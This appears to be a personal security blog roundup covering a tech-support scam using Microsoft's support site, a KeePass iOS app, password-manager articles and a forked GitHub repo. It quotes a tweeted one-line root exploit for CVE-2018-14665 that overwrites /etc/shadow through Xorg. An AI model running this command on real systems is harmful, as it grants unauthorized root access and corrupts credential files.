I just came across this video (posted yesterday), where scammers are leveraging Microsoft’s legitimate support site at https://support.microsoft.com/help. This was after I received a fake Microsoft support call. Unfortunately, I didn’t have a dummy VM ready to waste their time, but glad I found out about the use of Microsoft’s site. Because Microsoft uses LogMeIn, their support site seems to just forward the code to LogMeIn to start the session.
See the video below for how the site is used:
Hacker Fantastic has another Tweet-able exploit for a system:
#CVE-2018-14665 – a LPE exploit via https://t.co/eax3fvaAjE fits in a tweetTwitter: @HackerFantastic
cd /etc; Xorg -fp “root::16431:0:99999:7:::” -logfile shadow :1;su
Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.— Hacker Fantastic (@hackerfantastic) October 25, 2018
Found out about this app from /r/KeePass: KyPass 4 (iOS) TOTP?
I’ve always had a problem trying to get an iOS app that would work with KeePassXC databases. Seems to be working fine right from the start, so definitely worth the $6.99 price tag.
Two Medium articles that I end up using over & over & want to make sure I save:
Very glad to see another post by a site, giving good information on handling passwords, security question answers, & the recommendation to use password managers. I last had a post about this in July, when Dreamhost also put out a good article about creating strong passwords for account security. The link to that article is below as well.
Lifehacker: Use Your Password Manager for Security Answers, Too
Dreamhost: How to Create Strong Passwords to Keep Your Website Safe
Found this repository on GitHub & figured I’d fork it & add some of my own graphics to it: GitHub: DanCRichards / ASCII-Art-Splash-Screen
And here is my fork: GitHub: veritas06 / ASCII-Art-Splash-Screen
So far all I’ve done is modify the script to look at my GitHub repository (instead of DanCRichards’) & add a single graphic, just to test it out.